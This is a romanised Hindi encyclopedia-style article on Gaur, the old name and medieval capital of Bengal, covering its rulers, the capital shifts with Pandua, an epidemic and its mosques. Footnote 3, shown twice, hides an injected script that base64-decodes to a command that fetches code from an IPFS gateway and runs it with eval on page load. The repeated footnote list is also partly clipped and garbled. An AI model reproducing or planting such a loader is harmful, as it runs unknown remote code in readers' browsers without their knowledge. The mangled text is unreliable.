गौड़

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gau d bangal ka prachin samany nam hai. skandapuran ke anusar gau d desh ki sthiti vangadesh se lekar bhuvanesh^[1] tak thi- 'vangadeshan samarabhy bhuvaneshaantag: shive, gau d desh: samakhyat: sarvavidya visharad:.' padm puran^[2] mean gau d naresh narasianh ka nam aya hai. abhilekhoan mean gau d desh ka sarvapratham ullekh 553 ee. ke haraha abhilekh mean hai jisamean eeshvar varman maukhari ki gau dadesh par vijay ka ullekh hai. banabhatt ne gau danaresh shashaank ka varnan kiya hai jisane harshavardhan ke jyeshth bhrata rajyavardhan ka vadh kiya tha. madhaeenagar ke tamrapatt lekh se soochit hota hai ki gau danaresh lakshmanasen ka kaliang tak prabhutv tha. gau d desh ke nam par sanskrit kavy ki purushavritti ka nam hi gau di p d gaya tha. kayasthoan adi ki kee jatiyaan aj bhi gau d kahalati hai. kuchh vidvanoan ka mat hai ki gu d ke vyapar ka keandr hone ke karan hi is pradesh ka nam gau d ho gaya tha.^[3]

any nam

prachin 'lakshmanavati' ya 'lakhanauti' (bangal) ka madhyayugin nam tha. kaha jata hai ki is pradesh se prachur matra mean gu d ka niryat hone ke karan hi ise 'gau d' kaha jata tha. banabhatt ke 'harshacharit' mean gau d ke naresh shashaank ka ullekh milata hai. aj is madhyayugin sundar nagar ke matr khandahar hi shesh haian.

itihas

navian-dasavian shatabdi mean gau d par pal vansh ke rajaoan ka adhipaty tha. sen vansh ke shasanakal (12vian shatabdi) mean bangal ki rajadhani lakhanauti thi. mugal shasakoan mean humayooan ne bangal ki rajadhani gau d par kuchh varshoan ke lie adhikar kar liya tha, parantu afaganoan ne turant hi use vahaan se bahar nikal diya. san 1576 ee. mean do varsh ke sangharshapoorn ghatana-chakr ke pashchath bangal mugal samrajy ka ek sooba bana diya gaya.

rajadhani parivartan

muslimoan ke bangal par adhipaty hone ke bad is soobe ki rajadhani kabhi gau d aur kabhi paandua mean rahi. paandua gau d se 20 mil (lagabhag 32 ki.mi.) door hai. aj is madhyayugin bhavy nagar ke keval khandahar hi shesh haian. inamean anek hindoo mandiroan tatha moortiyoan ke avashesh haian, jinaka masajidoan ke nirman mean prayog kiya tha. 1575 ee. mean badashah akabar ke soobedar ne gau d ke sauandary se akrisht hokar rajadhani paandua se hatakar gau d mean banaee, jisake phalasvaroop gau d mean ek baragi bahut bhi dabha d ho gee thi.

mahamari ka prakop

apani sampannata ke tho de hi dinoan bad gau d mean mahamari ka bhi prakop hua, jisase gau d ki janasankhya ko bhari kshati pahuanchi. bahut se nivasi gau d chho dakar bhag ge. paandua mean bhi mahamari ka prakop phaila aur bangal ke ye donoan pramukh nagar jahaan bhavy imaratean kh di hueean thian tatha charoan or vyast nar-nariyoan ka kolahal rahata tha, is mahamari ke pashchath shmashanavath dikhalaee p dane lage aur unaki s dakoan par ab ghas ug aee aur din daha de hiansak pashu ghoomane lage. paandua se gau d jane vali s dak par ab ghane jangal ban ge the. tatpashchath pray: 300 varshoan tak bangal ki shanadar nagari gau d khandaharoan ke roop mean ghane jangaloan ke bich chhipi rahi. ab kuchh hi varsh pahale vahaan ke prachin vaibhav ko khudaee dvara prakash mean lane ka prayatn kiya gaya hai.

sthapaty

lakhanauti mean 9vian-10vian shati ee. mean pal rajaoan ka adhipaty tha tatha 12vian shati tak sen nareshoan ka. is kal mean yahaan anek hindoo mandir bane, jinhean gau d ke paravarti muslim badashahoan ne nasht-bhrasht kar diya. gau d ki muslim kalin imaratoan ke bahut se avashesh ab bhi yahaan haian. inaki mukhy visheshata inaki thos banavat tatha vishalata hai. sona masajid prachin mandiroan ki samagri se bani hai. yah yahaan ke jirn kile ke aandar sthit hai. isaki nirman-tithi 1526 ee. hai. isake atirikt 1530 ee. mean bani nusaratashah ki masajid bhi kala ki drishti se ullekhaniy hai.

any prasang

ek any prasanganusar gau d bangal ka ek prachin samany nam tha. 'gau d' ya 'gau dapur' ka ullekh panini^[4] ne bhi mean kiya hai. kaha jata hai ki 'puandr' ya 'pauandr'^[5] desh se gu d ka prachur matra mean niryat is pradesh dvara hone ke karan hi ise gau d kaha jata tha. gau dapur ko gau dabhrityapur bhi kaha gaya hai. ban ke 'harshacharit' mean gau d (bangal) ke naresh shashaank ka ullekh hai. sanskrit kavy ki ek vritti ka nam bhi gau di hai, jo gau d desh se hi sanbandhit hai. isake atirikt kee jatiyoan ko bhi gau d nam se abhihit kiya jata tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ bhuvaneshvar, u disa
↑ padmapuran (189- 2)
↑ gau d (hiandi) bharatakhoj. abhigaman tithi: 19 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ panini 6, 2, 200
↑ pauandr=pauanda ya ganna

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] uvaneshvar, u disa

[2] uran (189- 2)

[3] u d (hiandi) bharatakhoj. abhigaman tithi: 19 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[4] 6, 2, 200

[5] uandr=pauanda ya ganna

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